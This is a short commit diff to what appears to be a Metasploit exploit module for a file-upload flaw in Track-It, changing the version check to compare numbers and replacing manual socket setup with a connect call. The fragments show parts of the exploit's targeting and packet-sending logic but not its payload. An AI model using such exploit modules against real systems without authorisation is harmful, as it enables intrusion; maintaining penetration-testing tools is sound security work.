Use numbers for version tracking

Author: Pedro Ribeiro

modules/exploits/windows/http/trackit_file_upload.rb

@@ -78,9 +78,9 @@ def get_version
   def check
     version = get_version
     if version != nil
-      if (version[0] < "11") or
-      (version[0] == "11" and version[1] <= "3") or
-      (version[0] == "11" and version[1] == "3" and version[2] == 0 and version[3] < "999")
+      if (version[0].to_i < 11) or
+      (version[0].to_i == 11 and version[1].to_i <= 3) or
+      (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999)
         ctx = { 'Msf' => framework, 'MsfExploit' => self }
         sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
         if not sock.nil?
@@ -188,8 +188,7 @@ def get_traversal_path
 
     buf << @packet_terminator.pack('C*')
 
-    ctx = { 'Msf' => framework, 'MsfExploit' => self }
-    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => @remoting_port, 'Context' => ctx })
+    sock = connect
     if sock.nil?
       fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
     else
@@ -420,8 +419,7 @@ def send_file(traversal_path, filename, file_content)
     buf << @packet_terminator.pack('C*')
 
     # send the packet and ignore the response
-    ctx = { 'Msf' => framework, 'MsfExploit' => self }
-    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => @remoting_port, 'Context' => ctx })
+    sock = connect
     if sock.nil?
       fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
     else